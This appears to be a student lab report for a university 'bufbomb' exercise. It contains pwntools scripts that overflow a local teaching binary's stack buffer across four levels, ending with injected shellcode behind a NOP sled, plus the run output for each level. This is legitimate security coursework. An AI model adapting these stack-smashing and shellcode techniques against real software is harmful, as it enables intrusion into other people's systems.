Thành viên trong nhóm 6:

- Nguyễn Hải Phong – 22521088
- Nguyễn Chí Thành – 22521350
- Trần Văn Thuận – 22521448

Level 0:

```python
from pwn import *

argument = ["./bufbomb", "-u", "088350448"]
p = process(argument)

cookie = 0x1cbda2e9
smoke = 0x80bf8c9b
payload = b'A'*60 + p32(cookie) + p32(smoke)
print(p.recv())
p.sendline(payload)

p.interactive()
```

```
/mnt/e/Stuff or sth like that/System_Programming/ThucHanh/Lab6.2
python3 exploit1.py
[+] Starting local process './bufbomb': pid 6305
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 6305)
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Level 1:

exploit2.py > ...

```python
from pwn import *

argument = ["./bufbomb", "-u", "088350448"]
p = process(argument)
fizz = 0x80bf8cc8
cookie = 0x1cbda2e9
payload = b'A'*60 + p32(cookie) + p32(fizz) + p32(0) + p32(cookie)
print(p.recv())
p.sendline(payload)

p.interactive()
```

```
/mnt/e/Stuff or sth like that/System_Programming/ThucHanh/Lab6.2
python3 exploit2.py
[+] Starting local process './bufbomb': pid 6672
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
Type string:Fizz!: You called fizz(0x1cbda2e9)
VALID
NICE JOB!
[*] Process './bufbomb' stopped with exit code 0 (pid 6672)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Level 2:

exploit3.py > ...

```python
from pwn import *

argument = ["./bufbomb", "-u", "088350448"]
p = process(argument)

cookie = 0x1cbda2e9
Gets = 0x80bf8f08
bang = 0x80bf8d19
Global_value = 0x80bfe160
payload = b'A'*60 + p32(cookie) + p32(Gets) + p32(bang) + p32(Global_value) + p32(0) + p32(cookie)
print(p.recv())
p.sendline(payload)


time.sleep(0.2)
p.sendline(p32(cookie))

p.interactive()
```

```
/mnt/e/Stuff or sth like that/System_Programming/ThucHanh/Lab6.2
python3 exploit3.py
[+] Starting local process './bufbomb': pid 7083
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 7083)
Type string:Bang!: You set global_value to 0x1cbda2e9
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

Level 3:

exploit4.py > ...

```python
from pwn import *
argument = ["./bufbomb", "-u", "088350448"]
p = process(argument)
# Shellcodes for exploit
# mov edx, 0x1cbda2e9
# lea ebp, [esp+24]
# mov dword ptr [ebp-0xc], edx
# push 0x80bf8daa
# ret
cookie = 0x1cbda2e9
return_shellcode = 0x55683334
payload = b'\x90'*10 + b"\xBA\xE9\xA2\xBD\x1C\x8D\x6C\x24\x18\x89\x55\xF4\x68\xAA\x8D\xBF\x80\xC3"
payload += b'\x90'*(60-len(payload)) + p32(cookie) + p32(return_shellcode)
print(p.recv())
p.sendline(payload)
p.interactive()
```

```
/mnt/e/Stuff or sth like that/System_Programming/ThucHanh/Lab6.2
python3 exploit4.py
[+] Starting local process './bufbomb': pid 7480
b'Userid: 088350448\nCookie: 0x1cbda2e9\n'
[*] Switching to interactive mode
[*] Process './bufbomb' stopped with exit code 0 (pid 7480)
Type string:Boom!: getbuf returned 0x1cbda2e9
VALID
NICE JOB!
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```